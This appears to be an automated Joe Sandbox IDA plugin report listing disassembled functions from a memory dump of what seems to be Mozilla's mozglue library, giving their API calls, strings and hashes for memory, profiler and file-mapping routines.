Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 777bdbc1c272a7b157d9d859ae0b447b064186518e20b73d1237668843e56c0d
Instruction ID: d5099ccd4c7d3ac1354af669e496e77408e10e226a2f6fd2bf7981af82687377
Opcode Fuzzy Hash: 777bdbc1c272a7b157d9d859ae0b447b064186518e20b73d1237668843e56c0d
Instruction Fuzzy Hash: E7B1B3B0E112199BDB04CFA9CA527EEBBB5EB84318F144119D506ABF80D73199C9CBD0

Function 6CA4C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA4C5A3
WideCharToMultiByte.KERNEL32 ref: 6CA4C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CA4C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CA4CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA4CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA4CAA5

Strings

0, xrefs: 6CA4D30A
(null), xrefs: 6CA4C596

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: c71e190095e652397a08eae6d6617156063596c5ec3a6aa0b51f1f34a205374d
Instruction ID: a73c19a619970ae35c0d41a0e804180ee7da40fa359b98b03fcb28f59ce52890
Opcode Fuzzy Hash: c71e190095e652397a08eae6d6617156063596c5ec3a6aa0b51f1f34a205374d
Instruction Fuzzy Hash: 3BA19C306083429FDB00DF28C55875ABBF1AF89748F18C92DE88997751D771E889CB82

Function 6CA4C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA4C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA4C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6CA4C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA4C891

Strings

NAN, xrefs: 6CA4C7AD
inf, xrefs: 6CA4C78F
nan, xrefs: 6CA4C7A8
INF, xrefs: 6CA4C794

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: ff79c8c527f161c5f20d13af8ad390cd7f1e2db94d1c850072c1ac9d11170cee
Instruction ID: 7dee95177682e2e42392bc248010939407f4bbf6efbd25ed15ae4ce0855264e5
Opcode Fuzzy Hash: ff79c8c527f161c5f20d13af8ad390cd7f1e2db94d1c850072c1ac9d11170cee
Instruction Fuzzy Hash: B6518270A087458BD704DF6CC58529AFBF1BF8A308F048A2DE9D9A7650E771D9C9CB42

Function 6CA24480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CA64843,?), ref: 6CA245F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CA64843,?), ref: 6CA2468A
free.MOZGLUE(?,?,?,?,?,?,6CA64843,?), ref: 6CA246C9
free.MOZGLUE(?), ref: 6CA246EF
free.MOZGLUE(?), ref: 6CA24712
free.MOZGLUE(?), ref: 6CA24735
free.MOZGLUE(?), ref: 6CA24758
free.MOZGLUE(?), ref: 6CA2477B
free.MOZGLUE(?), ref: 6CA2479E

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 07941f5633c9850cf684a2c8764409ccc007bcdf2529ee946d1e421100239638
Instruction ID: b81233be0eae5ae34be01b29d12dab59a9fbd0cf793f92fdc60faf7a77e3484b
Opcode Fuzzy Hash: 07941f5633c9850cf684a2c8764409ccc007bcdf2529ee946d1e421100239638
Instruction Fuzzy Hash: 19B1E271A005208FDB18CF3CD99476D76B2EF42328F1C4669E866DBB96D738D8C48B81

Function 6CA8AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CA8AC52
CreateFileMappingW.KERNEL32 ref: 6CA8AC7D
GetSystemInfo.KERNEL32 ref: 6CA8AC98
MapViewOfFile.KERNEL32 ref: 6CA8ACB0
GetSystemInfo.KERNEL32 ref: 6CA8ACCD
MapViewOfFile.KERNEL32 ref: 6CA8AD05
UnmapViewOfFile.KERNEL32 ref: 6CA8AD1C
CloseHandle.KERNEL32 ref: 6CA8AD28
UnmapViewOfFile.KERNEL32 ref: 6CA8AD37
CloseHandle.KERNEL32 ref: 6CA8AD43
CloseHandle.KERNEL32 ref: 6CA8AD67

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: f6a88a959cc1ba7a3c40b36a465546b22cf4ceeb8b23e696c558e400ad1fbcc2
Instruction ID: 75d464b20ece8fd514713fa4b69ab32c3138e3ab4c45b0925936170b1ec285df
Opcode Fuzzy Hash: f6a88a959cc1ba7a3c40b36a465546b22cf4ceeb8b23e696c558e400ad1fbcc2
Instruction Fuzzy Hash: 7A3195B190530A8FDB04AFBCE64825EBBF1FF45305F018A2DE98587251EB749489CB82

Function 6CA39620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CA39675
__Init_thread_footer.LIBCMT ref: 6CA39697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CA396E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CA39707
__Init_thread_footer.LIBCMT ref: 6CA3971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA39773

Part of subcall function 6CA5AB89: EnterCriticalSection.KERNEL32(6CAAE370,?,?,?,6CA234DE,6CAAF6CC,?,?,?,?,?,?,?,6CA23284), ref: 6CA5AB94
Part of subcall function 6CA5AB89: LeaveCriticalSection.KERNEL32(6CAAE370,?,6CA234DE,6CAAF6CC,?,?,?,?,?,?,?,6CA23284,?,?,6CA456F6), ref: 6CA5ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CA397B7
FreeLibrary.KERNEL32 ref: 6CA397D0
FreeLibrary.KERNEL32 ref: 6CA397EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA39824

Strings

NtMapViewOfSection, xrefs: 6CA39701
MapViewOfFileNuma2, xrefs: 6CA397B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CA39670
ntdll.dll, xrefs: 6CA396E3

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 36c3da83f2c554291c10fd3b54d6f020e28f9999f58c7c12970d5aac06be5235
Instruction ID: c6a28a50931c0b820a63665f2023bbcfd8883fab6ac7cfe9828cbb3de6a2d47b
Opcode Fuzzy Hash: 36c3da83f2c554291c10fd3b54d6f020e28f9999f58c7c12970d5aac06be5235
Instruction Fuzzy Hash: FA417E706003079BDF088FE4FD94A9A77B5FB49314F058129ED19D7780EB30A89ACBA1

Function 6CA21E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAAE784), ref: 6CA21EC1
LeaveCriticalSection.KERNEL32(6CAAE784), ref: 6CA21EE1
EnterCriticalSection.KERNEL32(6CAAE744), ref: 6CA21F38
LeaveCriticalSection.KERNEL32(6CAAE744), ref: 6CA21F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CA21F83
LeaveCriticalSection.KERNEL32(6CAAE784), ref: 6CA21FC0
EnterCriticalSection.KERNEL32(6CAAE784), ref: 6CA21FE2
LeaveCriticalSection.KERNEL32(6CAAE784), ref: 6CA21FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA22019

Strings

MOZ_CRASH(), xrefs: 6CA22000

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 62856542a82282f7efc5e02a386b3a880a75cf87fc94302f015a1b0afa80a933
Instruction ID: 8f6e300bf281d10368661ee6947a0677fcd3e6e22f01c86820a846ab03e82fad
Opcode Fuzzy Hash: 62856542a82282f7efc5e02a386b3a880a75cf87fc94302f015a1b0afa80a933
Instruction Fuzzy Hash: 6B410371B0032B8FDB148FF8D884B6E76B1EF49308F088125EA1597B40D77598968BD1

Function 6CA37E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA37EA7
malloc.MOZGLUE(00000001), ref: 6CA37EB3

Part of subcall function 6CA3CAB0: EnterCriticalSection.KERNEL32(?), ref: 6CA3CB49
Part of subcall function 6CA3CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CA3CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CA37EC4
mozalloc_abort.MOZGLUE(?), ref: 6CA37F19
malloc.MOZGLUE(?), ref: 6CA37F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA37F4D

Strings

d, xrefs: 6CA37F89

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 72e9b93adff0ac98fa135bec956bd493bdee3e8fc3224823a5d6cc0b7d1d4e8c
Instruction ID: 37478543010e9f466b55a04654fc6af6fccde2cc8fb080bd638bc44054a183f8
Opcode Fuzzy Hash: 72e9b93adff0ac98fa135bec956bd493bdee3e8fc3224823a5d6cc0b7d1d4e8c
Instruction Fuzzy Hash: 90312571E0035997DB009F68DD159FEB778EF96208F449728EC499B612FB30A5C9C391

Function 6CA33E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6CA33EEE
RtlFreeHeap.NTDLL ref: 6CA33FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6CA34006
RtlFreeHeap.NTDLL ref: 6CA340A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CA33CCC), ref: 6CA340AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CA33CCC), ref: 6CA340C2
RtlFreeHeap.NTDLL ref: 6CA34134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6CA33CCC), ref: 6CA34143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6CA33CCC), ref: 6CA34157

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 5b1c3429ef377a30bdc67d3c101b0f2b475f780bd932aed34ebed274a5be2e8f
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 87A1AEB1A00225CFDB40CF28C990659BBF5FF49308F695199D909EF712D736E886CBA0

Function 6CA22030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6CA43F47,?,?,?,6CA43F47,6CA41A70,?), ref: 6CA2207F
memset.VCRUNTIME140(?,000000E5,6CA43F47,?,6CA43F47,6CA41A70,?), ref: 6CA220DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6CA43F47,6CA41A70,?), ref: 6CA2211A
EnterCriticalSection.KERNEL32(6CAAE744,?,6CA43F47,6CA41A70,?), ref: 6CA22145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6CA43F47,6CA41A70,?), ref: 6CA221BA
EnterCriticalSection.KERNEL32(6CAAE744,?,6CA43F47,6CA41A70,?), ref: 6CA221E0
LeaveCriticalSection.KERNEL32(6CAAE744,?,6CA43F47,6CA41A70,?), ref: 6CA22232

Strings

MOZ_CRASH(), xrefs: 6CA2227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6CA22253, 6CA22268

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 0f575ac0966f68b653672cf7acaeeaa44d0a275f5d4da32f334d2592bd6fa710
Instruction ID: 87e6d9d4f93ebcb98b8c534747b9678ba08ba2cc231e68d4e92db321e6497020
Opcode Fuzzy Hash: 0f575ac0966f68b653672cf7acaeeaa44d0a275f5d4da32f334d2592bd6fa710
Instruction Fuzzy Hash: 2D61F931F102268FCB08CEA8DD89B6E77B1AF45328F1D8339E524A7A94D7759C81C791

Function 6CA248E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6CA6483A,?), ref: 6CA24ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6CA6483A,?), ref: 6CA24AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6CA6483A,?), ref: 6CA24A82

Part of subcall function 6CA3CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA3CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6CA6483A,?), ref: 6CA24A97
moz_xmalloc.MOZGLUE(15D4E801,?,6CA6483A,?), ref: 6CA24A35

Part of subcall function 6CA3CA10: malloc.MOZGLUE(?), ref: 6CA3CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6CA6483A,?), ref: 6CA24A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6CA6483A,?), ref: 6CA24AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6CA6483A,?), ref: 6CA24B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6CA6483A,?), ref: 6CA24B2C

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: 2e4fe15c93a1b0fea3c5cdf960708f0d4f2f322eb2478ca9b56219d1c11ef76e
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: C0718CB1900B169FC714CF68C580AAAB7F5FF08308B144A3ED15ADBB41E735E599CB80

Function 6CA79D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA78273), ref: 6CA79D65
free.MOZGLUE(6CA78273,?), ref: 6CA79D7C
free.MOZGLUE(?,?), ref: 6CA79D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CA79E0F
free.MOZGLUE(6CA7946B,?,?), ref: 6CA79E24
free.MOZGLUE(?,?,?), ref: 6CA79E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CA79EC8
free.MOZGLUE(6CA7946B,?,?,?), ref: 6CA79EDF
free.MOZGLUE(?,?,?,?), ref: 6CA79EF5

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 4aa9f3d302c73b5f420dd1f91cfa9c02d3ad8b16b4c7d1b95881db4a5120bd0c
Instruction ID: 9818c0f9bc5c025d22966872877111ee40301374966d3aaf8a488b0427b62b68
Opcode Fuzzy Hash: 4aa9f3d302c73b5f420dd1f91cfa9c02d3ad8b16b4c7d1b95881db4a5120bd0c
Instruction Fuzzy Hash: 3E71B174909B418FD712CF28C64095BF3F5FF99315B44861AE89A5BB02EB30E8C9CB91

Function 6CA7DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CA7DDCF

Part of subcall function 6CA5FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA5FA4B

Part of subcall function 6CA790E0: free.MOZGLUE(?,00000000,?,?,6CA7DEDB), ref: 6CA790FF
Part of subcall function 6CA790E0: free.MOZGLUE(?,00000000,?,?,6CA7DEDB), ref: 6CA79108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA7DE0D
free.MOZGLUE(00000000), ref: 6CA7DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA7DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA7DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA7DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CA6DEFD,?,6CA34A68), ref: 6CA7DF32

Part of subcall function 6CA7DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CA7DB86
Part of subcall function 6CA7DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CA7DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CA6DEFD,?,6CA34A68), ref: 6CA7DF65
free.MOZGLUE(?), ref: 6CA7DF80

Part of subcall function 6CA45E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA45EDB
Part of subcall function 6CA45E90: memset.VCRUNTIME140(6CA87765,000000E5,55CCCCCC), ref: 6CA45F27
Part of subcall function 6CA45E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA45FB2

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 4b2fcb63f4800987489eb763b7adb2f0cc13d2e9e7f2a90555941dc370e9ba44
Instruction ID: d30b9223b67ce685fdb8e9f21dc0b66465e6a3206431388b5d5232852ff10c0c
Opcode Fuzzy Hash: 4b2fcb63f4800987489eb763b7adb2f0cc13d2e9e7f2a90555941dc370e9ba44
Instruction Fuzzy Hash: C351F87AE017019BD7319B29D9806AF73B2BF91708F99411DD81A53B00D731F8DACBA2

Function 6CA85D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CA85C8C,?,6CA5E829), ref: 6CA85D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CA85C8C,?,6CA5E829), ref: 6CA85D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CA85C8C,?,6CA5E829), ref: 6CA85D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CA85C8C,?,6CA5E829), ref: 6CA85D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CA85C8C,?,6CA5E829), ref: 6CA85DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CA85C8C,?,6CA5E829), ref: 6CA85DC9
std::_Facet_Register.LIBCPMT ref: 6CA85DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CA85C8C,?,6CA5E829), ref: 6CA85E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CA85C8C,?,6CA5E829), ref: 6CA85E45

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

